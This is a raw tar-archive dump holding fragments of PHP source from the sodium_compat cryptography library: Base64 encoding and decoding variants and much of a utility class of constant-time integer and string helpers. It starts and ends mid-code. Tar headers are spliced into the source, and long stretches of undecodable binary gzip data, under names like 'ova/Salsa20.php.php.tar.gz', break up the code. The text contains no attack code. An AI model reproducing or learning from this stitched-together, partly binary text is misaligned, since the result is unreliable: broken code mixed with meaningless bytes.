ParagonIE_Sodium_Core_Util::strlen($src); if ($srcLen === 0) { return ''; } if ($strictPadding) { if (($srcLen & 3) === 0) { if ($src[$srcLen - 1] === '=') { $srcLen--; if ($src[$srcLen - 1] === '=') { $srcLen--; } } } if (($srcLen & 3) === 1) { throw new RangeException( 'Incorrect padding' ); } if ($src[$srcLen - 1] === '=') { throw new RangeException( 'Incorrect padding' ); } } else { $src = rtrim($src, '='); $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); } $err = 0; $dest = ''; // Main loop (no padding): for ($i = 0; $i + 4 <= $srcLen; $i += 4) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4)); $c0 = self::decode6Bits($chunk[1]); $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $c3 = self::decode6Bits($chunk[4]); $dest .= pack( 'CCC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff), ((($c2 << 6) | $c3) & 0xff) ); $err |= ($c0 | $c1 | $c2 | $c3) >> 8; } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $c0 = self::decode6Bits($chunk[1]); if ($i + 2 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $dest .= pack( 'CC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff) ); $err |= ($c0 | $c1 | $c2) >> 8; } elseif ($i + 1 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $dest .= pack( 'C', ((($c0 << 2) | ($c1 >> 4)) & 0xff) ); $err |= ($c0 | $c1) >> 8; } elseif ($i < $srcLen && $strictPadding) { $err |= 1; } } /** @var bool $check */ $check = ($err === 0); if (!$check) { throw new RangeException( 'Base64::decode() only expects characters in the correct base64 alphabet' ); } return $dest; } // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE /** * Uses bitwise operators instead of table-lookups to turn 6-bit integers * into 8-bit integers. * * Base64 character set: * [A-Z] [a-z] [0-9] + / * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f * * @param int $src * @return int */ protected static function decode6Bits($src) { $ret = -1; // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64 $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64); // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70 $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70); // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5 $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5); // if ($src == 0x2c) $ret += 62 + 1; $ret += (((0x2c - $src) & ($src - 0x2e)) >> 8) & 63; // if ($src == 0x5f) ret += 63 + 1; $ret += (((0x5e - $src) & ($src - 0x60)) >> 8) & 64; return $ret; } /** * Uses bitwise operators instead of table-lookups to turn 8-bit integers * into 6-bit integers. * * @param int $src * @return string */ protected static function encode6Bits($src) { $diff = 0x41; // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6 $diff += ((25 - $src) >> 8) & 6; // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75 $diff -= ((51 - $src) >> 8) & 75; // if ($src > 61) $diff += 0x2d - 0x30 - 10; // -13 $diff -= ((61 - $src) >> 8) & 13; // if ($src > 62) $diff += 0x5f - 0x2b - 1; // 3 $diff += ((62 - $src) >> 8) & 49; return pack('C', $src + $diff); } } Original.php000064400000017055150546106270007037 0ustar00 $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3)); $b0 = $chunk[1]; $b1 = $chunk[2]; $b2 = $chunk[3]; $dest .= self::encode6Bits( $b0 >> 2 ) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) . self::encode6Bits( $b2 & 63); } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $b0 = $chunk[1]; if ($i + 1 < $srcLen) { $b1 = $chunk[2]; $dest .= self::encode6Bits($b0 >> 2) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits(($b1 << 2) & 63); if ($pad) { $dest .= '='; } } else { $dest .= self::encode6Bits( $b0 >> 2) . self::encode6Bits(($b0 << 4) & 63); if ($pad) { $dest .= '=='; } } } return $dest; } /** * decode from base64 into binary * * Base64 character set "./[A-Z][a-z][0-9]" * * @param string $src * @param bool $strictPadding * @return string * @throws RangeException * @throws TypeError * @psalm-suppress RedundantCondition */ public static function decode($src, $strictPadding = false) { // Remove padding $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); if ($srcLen === 0) { return ''; } if ($strictPadding) { if (($srcLen & 3) === 0) { if ($src[$srcLen - 1] === '=') { $srcLen--; if ($src[$srcLen - 1] === '=') { $srcLen--; } } } if (($srcLen & 3) === 1) { throw new RangeException( 'Incorrect padding' ); } if ($src[$srcLen - 1] === '=') { throw new RangeException( 'Incorrect padding' ); } } else { $src = rtrim($src, '='); $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); } $err = 0; $dest = ''; // Main loop (no padding): for ($i = 0; $i + 4 <= $srcLen; $i += 4) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4)); $c0 = self::decode6Bits($chunk[1]); $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $c3 = self::decode6Bits($chunk[4]); $dest .= pack( 'CCC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff), ((($c2 << 6) | $c3) & 0xff) ); $err |= ($c0 | $c1 | $c2 | $c3) >> 8; } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $c0 = self::decode6Bits($chunk[1]); if ($i + 2 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $dest .= pack( 'CC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff) ); $err |= ($c0 | $c1 | $c2) >> 8; } elseif ($i + 1 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $dest .= pack( 'C', ((($c0 << 2) | ($c1 >> 4)) & 0xff) ); $err |= ($c0 | $c1) >> 8; } elseif ($i < $srcLen && $strictPadding) { $err |= 1; } } /** @var bool $check */ $check = ($err === 0); if (!$check) { throw new RangeException( 'Base64::decode() only expects characters in the correct base64 alphabet' ); } return $dest; } // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE /** * Uses bitwise operators instead of table-lookups to turn 6-bit integers * into 8-bit integers. * * Base64 character set: * [A-Z] [a-z] [0-9] + / * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f * * @param int $src * @return int */ protected static function decode6Bits($src) { $ret = -1; // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64 $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64); // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70 $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70); // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5 $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5); // if ($src == 0x2b) $ret += 62 + 1; $ret += (((0x2a - $src) & ($src - 0x2c)) >> 8) & 63; // if ($src == 0x2f) ret += 63 + 1; $ret += (((0x2e - $src) & ($src - 0x30)) >> 8) & 64; return $ret; } /** * Uses bitwise operators instead of table-lookups to turn 8-bit integers * into 6-bit integers. * * @param int $src * @return string */ protected static function encode6Bits($src) { $diff = 0x41; // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6 $diff += ((25 - $src) >> 8) & 6; // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75 $diff -= ((51 - $src) >> 8) & 75; // if ($src > 61) $diff += 0x2b - 0x30 - 10; // -15 $diff -= ((61 - $src) >> 8) & 15; // if ($src > 62) $diff += 0x2f - 0x2b - 1; // 3 $diff += ((62 - $src) >> 8) & 3; return pack('C', $src + $diff); } } PK(L[2ova/Salsa20.php.php.tar.gznu[ZYoFγ~4`k)-ޔ|@[CCE#w c)ml ۝f#we $0;w١nuG^_tW~&iML. uup\mRji/4KLBn|;4s\KX_ 4fpW7q/;\zo Fp$$˓x0L^+8Ym2p/,q DW]^3?x8J3xS7#Fnx.~t bV@ ~$r-!]ypQAȖ~ W~B,E8-IjqԜq LઠQǃ[S(^WC<-2Rxw"$Nă /16`x,ȣa"ȫ gq1!tr(%H4TnGp>8b[7&Y{?{) .3BG{rڊ4SPcFUYՙq^2 &M/Me^쇺vf_z^_<lrؽ9mu h[ _Mn;~*Wގr4< mGmc&ʍnl3}Xs7rcsL{Np;)O{98x,IZx݌mNfL38 n3lET%Q TT-mWIbg2*lDgdƬ4 Ќ@$Ikj1 ,,M-i ?f`<C&+ƫ`r*h2'UAf]VMAZGjB*0!AZ ^ `Cw3(ҋڳm5*_NRؤ=ʾԢ(dZ1-h>m# -TuT0R{7Yץaf?wbFjԅQ a4FSͪFjѮatƩ0Nƙ0j"zJru`ZRkfeEdZZjUJq<<`r3Z$>Zc{8=|=|f}8Et>Tk}YSZvwG(ѵ%blz+rT)Uqo?^(LMf q(TONpvC<PhWI_?*<<X'(PK(L[fGova/Crypto.php.php.tar.gznu[]yWSDc KJK8,Mo!^lɑd6w6ɳJ#y֡ H`guav+M߰H~zKig)kIӶWi!S~L&m2*xnz}{nշ #"Qȕj[g틪izr>X)qoAΏ-|OR^>#n&3 `;NI]JI%sc!)S1,'Osr'9rwy측daɖJ<$tB?GnoQMIn WW?eiA!f1]m׏ 6%ze7F(#!c]Ç x)F*R:vc;?G|DL 'UJ1Sr( =M`tv4PWR Nqj8l 65-fYFqҪ>0 x)SD\NvfMmQazz7Ẍ m+@B]b .@+)a3DPLv%ieHa88; U(qټ/Ў3w8Z:+#80 5|Nɛ5x!?ax0 2fߌG]B3=|Ev Tr82O #)cd7ji=?#awDڿE. vU4Q."h?#F~sj)mȲ" .IQp|B: \S;!&@$}7!MA)`$p.Hš}>Y0:$7:֊C 9ȑX;XEbXؑYW: L=:{muߙ{|Xx6X;ATs\651&"U5>ʇI ]XG˃=xeZ6ł+i0&)׉7׀4 $P@㾷1m`){Q2+,e.*]A- ed nOryܰ(ɮEE+Gub?khH?ġ_{wf_ͽ lV%W?)xXd~#rs>;[X3k;Ke2Cv}p͛MwK!j/l+q2cbʙ8ż$Uuq]+| 7raɝ"cqX7Hx}5]J@.H]=OtatM!Dׄu +ۏ\?c}UxL(Or-H֏5Rf%5V8W4,1 dr ɅԊ'ue=U,ƣ_@xm#eƵ/Gz"ʛQI%dꦠ+sS pS&'op^_2zWIrzN p\5Q.-oKdhq|]ިt1aS/^kf ~<`#NޘEp"t;/(oKZpmfx/#W|NujTbKڊ8rEULEP Unn%OF0z:`8\ڢТhb ŽN8fX1EEXvζQK6Ƣ#P䭡)zjkĵPB6Yw{)/c:$א.`'# ,7~a>!pHuS SxR}Yt< eQpkdyS느wC!Cz,ň&<\1tH~pI39-1QX\s!BMUR'eWG,z(W|5PU勺qڃ4X=@J1e qDTjlpYJ4mOk^)@?+#7[g^>IGg4A 7ׅb7ram RMJTGԪغWYI}j+jkz] R>锰JWj6]ծt b-vx5,4 x1;ZVPZb& ݵRu4B-FK hx$rrN::r\2"'bi=+ʖ2"Rk7(&nTT{ Y瞟xrC7Y%0I&hQJ(>E8[\q[%ea0U 0*&骱e :bIQgd |$1naV:6&&ͩq82{1&3բb4FyȄbe3n}B[nlӬͫ>]ƥ-wP'fCa_(!סf?kq}.#Zvxu"YZ2VGCbJyM9[*[=κLg =sXÜDI 78Fv. sc0rc&H,+",K6R&k rpG>1aM5D}65xrW]%I׏.#!}}ppߏ*r_En#yu ~j&)?m9J?& ۥ[UX]eU٫ŗ+Sn^|2`@]щ!")8VD]./Ԙf=NްY`mG  g6q~L)E}ط7`o7;:Cu,G;XiE |Y!0f^)w' J;!FZ!D`͍QjCuMg  F,f;.*Ҭry S4>cZڀJVR֪J"YVUt+[@6m&\eN]"TNi7fZS !3x-XImG;b߃Cv/(/F?W.9[K\_얺C]D^'%!..}>~@G 0xaD8'o.?vtgYcS!n|AQxs&'PzLRgND}X$H/y~b1vNM&\ xCDCtH]bsl VH6 Za- )Ǝ@]{۩Iݛu9B{l<ްY;kKM}Z=kȽlzopAe]00vL _0I(ir&k5{D#h^j ND4IF}E B;CWZګMD4D/K XB`1(5 "}DU\R6h ۘVmH7`$Q֙M%NEyQ(Usؐ%6S:"N9vQ,2󋓳6b4"挑k@/ mbLߞZtx+XPmǕ[)qJr=$۰,P ֒ zתc %SL*PL׋˕zT@~O|rQިT #ury|>KD+CKQV_B'D-" ]@{0}"ät6w"(O>7'#Uꜵ߷7/4x%&CZ@|1=Fh !UlL _PIv3S=| =+{~B<ǣƶv8W\MBe@ƪ 5YBct"0(6LwT6]?'.3 ]_]Y=sɮ0~ɕX 'ܟwLOb.bPʗ/UK4A{B^Ss?34m؉ js+ΜSՐ(\cu4( rBLȣyR۞L#4h1S,r&ISpM,f|z[њTjjج61pՎ:vpN.؀Q[n} Ft=eqkR1")$(p[yh0X.,u2:I {ck7P9Q>J1n*"vAHLcj"M279 15҉#\p 7 3wY*٤*e<Y Z1;n *g߭ճzVPK(L[5ova/Curve25519.tar.gznu[\]FgQ6L+E.Ti4OB8@ 62fU1AT߫}{'wƫam^ XH`̱.D$Zm7EG+$|̓IZY_Ps=Xo'k5$dK"-xl$Aqϲt]Y)B!)&xA8(Hw;q}!;oA= VYk) *ggz?߿6?'d1G׆+{ \O)G.sU)$ϳ|fqBHo)aQO@Gt Q}J'v6/Ї  oAiV/6Ey~y):wlu",dnkڔq44O 'tx'"Po1bgi /-ixEά55N̘Εm D0ǜxv5h\,(}N֤5wK{ mBnݦڔ(('C Ԑ('TD7QĜKH+A(iFDe(=T/pf(}TM(!Q(_`e {O^`D%ںhCUQ6p}H*q.;$!QŜy6$cS R}ن_0o/ ϵ埛S0V<o>^=DGǵOZ1ɥK ؄Wh}|j K;<[VQ S^Bv>*uV8Sy=W*|W[ao[@ L(7OrJ]jl15jZ-[uQWZ1携} ^-t{sE] [͞ ualh=F&x-xsv52KRsŠ{ [ne4 .YJ`}R¶ `pxRco7Ovw` L  R `KwoL]кf1WԍZD]we` &2?Ujzx~;Q7B殯kaK:: ni5g8P4 ,Ӝ.5+Nwߠ`S 3к.Jj%&";Oi pPK(L[w@@ ova/Core.tarnu[Poly1305/State.php000064400000000160150545315270007575 0ustar00> $size) & 1); return (int) ( ($integer ^ $negative) + (($negative >> $realSize) & 1) ); } /** * @param string $a * @param string $b * @return string * @throws SodiumException */ public static function andStrings($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('Argument 1 must be a string'); } if (!is_string($b)) { throw new TypeError('Argument 2 must be a string'); } $len = self::strlen($a); if (self::strlen($b) !== $len) { throw new SodiumException('Both strings must be of equal length to combine with bitwise AND'); } return $a & $b; } /** * Convert a binary string into a hexadecimal string without cache-timing * leaks * * @internal You should not use this directly from another application * * @param string $binaryString (raw binary) * @return string * @throws TypeError */ public static function bin2hex($binaryString) { /* Type checks: */ if (!is_string($binaryString)) { throw new TypeError('Argument 1 must be a string, ' . gettype($binaryString) . ' given.'); } $hex = ''; $len = self::strlen($binaryString); for ($i = 0; $i < $len; ++$i) { /** @var array $chunk */ $chunk = unpack('C', $binaryString[$i]); /** @var int $c */ $c = $chunk[1] & 0xf; /** @var int $b */ $b = $chunk[1] >> 4; $hex .= pack( 'CC', (87 + $b + ((($b - 10) >> 8) & ~38)), (87 + $c + ((($c - 10) >> 8) & ~38)) ); } return $hex; } /** * Convert a binary string into a hexadecimal string without cache-timing * leaks, returning uppercase letters (as per RFC 4648) * * @internal You should not use this directly from another application * * @param string $bin_string (raw binary) * @return string * @throws TypeError */ public static function bin2hexUpper($bin_string) { $hex = ''; $len = self::strlen($bin_string); for ($i = 0; $i < $len; ++$i) { /** @var array $chunk */ $chunk = unpack('C', $bin_string[$i]); /** * Lower 16 bits * * @var int $c */ $c = $chunk[1] & 0xf; /** * Upper 16 bits * @var int $b */ $b = $chunk[1] >> 4; /** * Use pack() and binary operators to turn the two integers * into hexadecimal characters. We don't use chr() here, because * it uses a lookup table internally and we want to avoid * cache-timing side-channels. */ $hex .= pack( 'CC', (55 + $b + ((($b - 10) >> 8) & ~6)), (55 + $c + ((($c - 10) >> 8) & ~6)) ); } return $hex; } /** * Cache-timing-safe variant of ord() * * @internal You should not use this directly from another application * * @param string $chr * @return int * @throws SodiumException * @throws TypeError */ public static function chrToInt($chr) { /* Type checks: */ if (!is_string($chr)) { throw new TypeError('Argument 1 must be a string, ' . gettype($chr) . ' given.'); } if (self::strlen($chr) !== 1) { throw new SodiumException('chrToInt() expects a string that is exactly 1 character long'); } /** @var array $chunk */ $chunk = unpack('C', $chr); return (int) ($chunk[1]); } /** * Compares two strings. * * @internal You should not use this directly from another application * * @param string $left * @param string $right * @param int $len * @return int * @throws SodiumException * @throws TypeError */ public static function compare($left, $right, $len = null) { $leftLen = self::strlen($left); $rightLen = self::strlen($right); if ($len === null) { $len = max($leftLen, $rightLen); $left = str_pad($left, $len, "\x00", STR_PAD_RIGHT); $right = str_pad($right, $len, "\x00", STR_PAD_RIGHT); } $gt = 0; $eq = 1; $i = $len; while ($i !== 0) { --$i; $gt |= ((self::chrToInt($right[$i]) - self::chrToInt($left[$i])) >> 8) & $eq; $eq &= ((self::chrToInt($right[$i]) ^ self::chrToInt($left[$i])) - 1) >> 8; } return ($gt + $gt + $eq) - 1; } /** * If a variable does not match a given type, throw a TypeError. * * @param mixed $mixedVar * @param string $type * @param int $argumentIndex * @throws TypeError * @throws SodiumException * @return void */ public static function declareScalarType(&$mixedVar = null, $type = 'void', $argumentIndex = 0) { if (func_num_args() === 0) { /* Tautology, by default */ return; } if (func_num_args() === 1) { throw new TypeError('Declared void, but passed a variable'); } $realType = strtolower(gettype($mixedVar)); $type = strtolower($type); switch ($type) { case 'null': if ($mixedVar !== null) { throw new TypeError('Argument ' . $argumentIndex . ' must be null, ' . $realType . ' given.'); } break; case 'integer': case 'int': $allow = array('int', 'integer'); if (!in_array($type, $allow)) { throw new TypeError('Argument ' . $argumentIndex . ' must be an integer, ' . $realType . ' given.'); } $mixedVar = (int) $mixedVar; break; case 'boolean': case 'bool': $allow = array('bool', 'boolean'); if (!in_array($type, $allow)) { throw new TypeError('Argument ' . $argumentIndex . ' must be a boolean, ' . $realType . ' given.'); } $mixedVar = (bool) $mixedVar; break; case 'string': if (!is_string($mixedVar)) { throw new TypeError('Argument ' . $argumentIndex . ' must be a string, ' . $realType . ' given.'); } $mixedVar = (string) $mixedVar; break; case 'decimal': case 'double': case 'float': $allow = array('decimal', 'double', 'float'); if (!in_array($type, $allow)) { throw new TypeError('Argument ' . $argumentIndex . ' must be a float, ' . $realType . ' given.'); } $mixedVar = (float) $mixedVar; break; case 'object': if (!is_object($mixedVar)) { throw new TypeError('Argument ' . $argumentIndex . ' must be an object, ' . $realType . ' given.'); } break; case 'array': if (!is_array($mixedVar)) { if (is_object($mixedVar)) { if ($mixedVar instanceof ArrayAccess) { return; } } throw new TypeError('Argument ' . $argumentIndex . ' must be an array, ' . $realType . ' given.'); } break; default: throw new SodiumException('Unknown type (' . $realType .') does not match expect type (' . $type . ')'); } } /** * Evaluate whether or not two strings are equal (in constant-time) * * @param string $left * @param string $right * @return bool * @throws SodiumException * @throws TypeError */ public static function hashEquals($left, $right) { /* Type checks: */ if (!is_string($left)) { throw new TypeError('Argument 1 must be a string, ' . gettype($left) . ' given.'); } if (!is_string($right)) { throw new TypeError('Argument 2 must be a string, ' . gettype($right) . ' given.'); } if (is_callable('hash_equals')) { return hash_equals($left, $right); } $d = 0; /** @var int $len */ $len = self::strlen($left); if ($len !== self::strlen($right)) { return false; } for ($i = 0; $i < $len; ++$i) { $d |= self::chrToInt($left[$i]) ^ self::chrToInt($right[$i]); } if ($d !== 0) { return false; } return $left === $right; } /** * Catch hash_update() failures and throw instead of silently proceeding * * @param HashContext|resource &$hs * @param string $data * @return void * @throws SodiumException * @psalm-suppress PossiblyInvalidArgument */ protected static function hash_update(&$hs, $data) { if (!hash_update($hs, $data)) { throw new SodiumException('hash_update() failed'); } } /** * Convert a hexadecimal string into a binary string without cache-timing * leaks * * @internal You should not use this directly from another application * * @param string $hexString * @param string $ignore * @param bool $strictPadding * @return string (raw binary) * @throws RangeException * @throws TypeError */ public static function hex2bin($hexString, $ignore = '', $strictPadding = false) { /* Type checks: */ if (!is_string($hexString)) { throw new TypeError('Argument 1 must be a string, ' . gettype($hexString) . ' given.'); } if (!is_string($ignore)) { throw new TypeError('Argument 2 must be a string, ' . gettype($hexString) . ' given.'); } $hex_pos = 0; $bin = ''; $c_acc = 0; $hex_len = self::strlen($hexString); $state = 0; if (($hex_len & 1) !== 0) { if ($strictPadding) { throw new RangeException( 'Expected an even number of hexadecimal characters' ); } else { $hexString = '0' . $hexString; ++$hex_len; } } $chunk = unpack('C*', $hexString); while ($hex_pos < $hex_len) { ++$hex_pos; /** @var int $c */ $c = $chunk[$hex_pos]; $c_num = $c ^ 48; $c_num0 = ($c_num - 10) >> 8; $c_alpha = ($c & ~32) - 55; $c_alpha0 = (($c_alpha - 10) ^ ($c_alpha - 16)) >> 8; if (($c_num0 | $c_alpha0) === 0) { if ($ignore && $state === 0 && strpos($ignore, self::intToChr($c)) !== false) { continue; } throw new RangeException( 'hex2bin() only expects hexadecimal characters' ); } $c_val = ($c_num0 & $c_num) | ($c_alpha & $c_alpha0); if ($state === 0) { $c_acc = $c_val * 16; } else { $bin .= pack('C', $c_acc | $c_val); } $state ^= 1; } return $bin; } /** * Turn an array of integers into a string * * @internal You should not use this directly from another application * * @param array $ints * @return string */ public static function intArrayToString(array $ints) { $args = $ints; foreach ($args as $i => $v) { $args[$i] = (int) ($v & 0xff); } array_unshift($args, str_repeat('C', count($ints))); return (string) (call_user_func_array('pack', $args)); } /** * Cache-timing-safe variant of ord() * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function intToChr($int) { return pack('C', $int); } /** * Load a 3 character substring into an integer * * @internal You should not use this directly from another application * * @param string $string * @return int * @throws RangeException * @throws TypeError */ public static function load_3($string) { /* Type checks: */ if (!is_string($string)) { throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.'); } /* Input validation: */ if (self::strlen($string) < 3) { throw new RangeException( 'String must be 3 bytes or more; ' . self::strlen($string) . ' given.' ); } /** @var array $unpacked */ $unpacked = unpack('V', $string . "\0"); return (int) ($unpacked[1] & 0xffffff); } /** * Load a 4 character substring into an integer * * @internal You should not use this directly from another application * * @param string $string * @return int * @throws RangeException * @throws TypeError */ public static function load_4($string) { /* Type checks: */ if (!is_string($string)) { throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.'); } /* Input validation: */ if (self::strlen($string) < 4) { throw new RangeException( 'String must be 4 bytes or more; ' . self::strlen($string) . ' given.' ); } /** @var array $unpacked */ $unpacked = unpack('V', $string); return (int) $unpacked[1]; } /** * Load a 8 character substring into an integer * * @internal You should not use this directly from another application * * @param string $string * @return int * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function load64_le($string) { /* Type checks: */ if (!is_string($string)) { throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.'); } /* Input validation: */ if (self::strlen($string) < 4) { throw new RangeException( 'String must be 4 bytes or more; ' . self::strlen($string) . ' given.' ); } if (PHP_VERSION_ID >= 50603 && PHP_INT_SIZE === 8) { /** @var array $unpacked */ $unpacked = unpack('P', $string); return (int) $unpacked[1]; } /** @var int $result */ $result = (self::chrToInt($string[0]) & 0xff); $result |= (self::chrToInt($string[1]) & 0xff) << 8; $result |= (self::chrToInt($string[2]) & 0xff) << 16; $result |= (self::chrToInt($string[3]) & 0xff) << 24; $result |= (self::chrToInt($string[4]) & 0xff) << 32; $result |= (self::chrToInt($string[5]) & 0xff) << 40; $result |= (self::chrToInt($string[6]) & 0xff) << 48; $result |= (self::chrToInt($string[7]) & 0xff) << 56; return (int) $result; } /** * @internal You should not use this directly from another application * * @param string $left * @param string $right * @return int * @throws SodiumException * @throws TypeError */ public static function memcmp($left, $right) { if (self::hashEquals($left, $right)) { return 0; } return -1; } /** * Multiply two integers in constant-time * * Micro-architecture timing side-channels caused by how your CPU * implements multiplication are best prevented by never using the * multiplication operators and ensuring that our code always takes * the same number of operations to complete, regardless of the values * of $a and $b. * * @internal You should not use this directly from another application * * @param int $a * @param int $b * @param int $size Limits the number of operations (useful for small, * constant operands) * @return int */ public static function mul($a, $b, $size = 0) { if (ParagonIE_Sodium_Compat::$fastMult) { return (int) ($a * $b); } static $defaultSize = null; /** @var int $defaultSize */ if (!$defaultSize) { /** @var int $defaultSize */ $defaultSize = (PHP_INT_SIZE << 3) - 1; } if ($size < 1) { /** @var int $size */ $size = $defaultSize; } /** @var int $size */ $c = 0; /** * Mask is either -1 or 0. * * -1 in binary looks like 0x1111 ... 1111 * 0 in binary looks like 0x0000 ... 0000 * * @var int */ $mask = -(($b >> ((int) $defaultSize)) & 1); /** * Ensure $b is a positive integer, without creating * a branching side-channel * * @var int $b */ $b = ($b & ~$mask) | ($mask & -$b); /** * Unless $size is provided: * * This loop always runs 32 times when PHP_INT_SIZE is 4. * This loop always runs 64 times when PHP_INT_SIZE is 8. */ for ($i = $size; $i >= 0; --$i) { $c += (int) ($a & -($b & 1)); $a <<= 1; $b >>= 1; } $c = (int) @($c & -1); /** * If $b was negative, we then apply the same value to $c here. * It doesn't matter much if $a was negative; the $c += above would * have produced a negative integer to begin with. But a negative $b * makes $b >>= 1 never return 0, so we would end up with incorrect * results. * * The end result is what we'd expect from integer multiplication. */ return (int) (($c & ~$mask) | ($mask & -$c)); } /** * Convert any arbitrary numbers into two 32-bit integers that represent * a 64-bit integer. * * @internal You should not use this directly from another application * * @param int|float $num * @return array */ public static function numericTo64BitInteger($num) { $high = 0; /** @var int $low */ if (PHP_INT_SIZE === 4) { $low = (int) $num; } else { $low = $num & 0xffffffff; } if ((+(abs($num))) >= 1) { if ($num > 0) { /** @var int $high */ $high = min((+(floor($num/4294967296))), 4294967295); } else { /** @var int $high */ $high = ~~((+(ceil(($num - (+((~~($num)))))/4294967296)))); } } return array((int) $high, (int) $low); } /** * Store a 24-bit integer into a string, treating it as big-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store_3($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } /** @var string $packed */ $packed = pack('N', $int); return self::substr($packed, 1, 3); } /** * Store a 32-bit integer into a string, treating it as little-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store32_le($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } /** @var string $packed */ $packed = pack('V', $int); return $packed; } /** * Store a 32-bit integer into a string, treating it as big-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store_4($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } /** @var string $packed */ $packed = pack('N', $int); return $packed; } /** * Stores a 64-bit integer as an string, treating it as little-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store64_le($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } if (PHP_INT_SIZE === 8) { if (PHP_VERSION_ID >= 50603) { /** @var string $packed */ $packed = pack('P', $int); return $packed; } return self::intToChr($int & 0xff) . self::intToChr(($int >> 8) & 0xff) . self::intToChr(($int >> 16) & 0xff) . self::intToChr(($int >> 24) & 0xff) . self::intToChr(($int >> 32) & 0xff) . self::intToChr(($int >> 40) & 0xff) . self::intToChr(($int >> 48) & 0xff) . self::intToChr(($int >> 56) & 0xff); } if ($int > PHP_INT_MAX) { list($hiB, $int) = self::numericTo64BitInteger($int); } else { $hiB = 0; } return self::intToChr(($int ) & 0xff) . self::intToChr(($int >> 8) & 0xff) . self::intToChr(($int >> 16) & 0xff) . self::intToChr(($int >> 24) & 0xff) . self::intToChr($hiB & 0xff) . self::intToChr(($hiB >> 8) & 0xff) . self::intToChr(($hiB >> 16) & 0xff) . self::intToChr(($hiB >> 24) & 0xff); } /** * Safe string length * * @internal You should not use this directly from another application * * @ref mbstring.func_overload * * @param string $str * @return int * @throws TypeError */ public static function strlen($str) { /* Type checks: */ if (!is_string($str)) { throw new TypeError('String expected'); } return (int) ( self::isMbStringOverride() ? mb_strlen($str, '8bit') : strlen($str) ); } /** * Turn a string into an array of integers * * @internal You should not use this directly from another application * * @param string $string * @return array * @throws TypeError */ public static function stringToIntArray($string) { if (!is_string($string)) { throw new TypeError('String 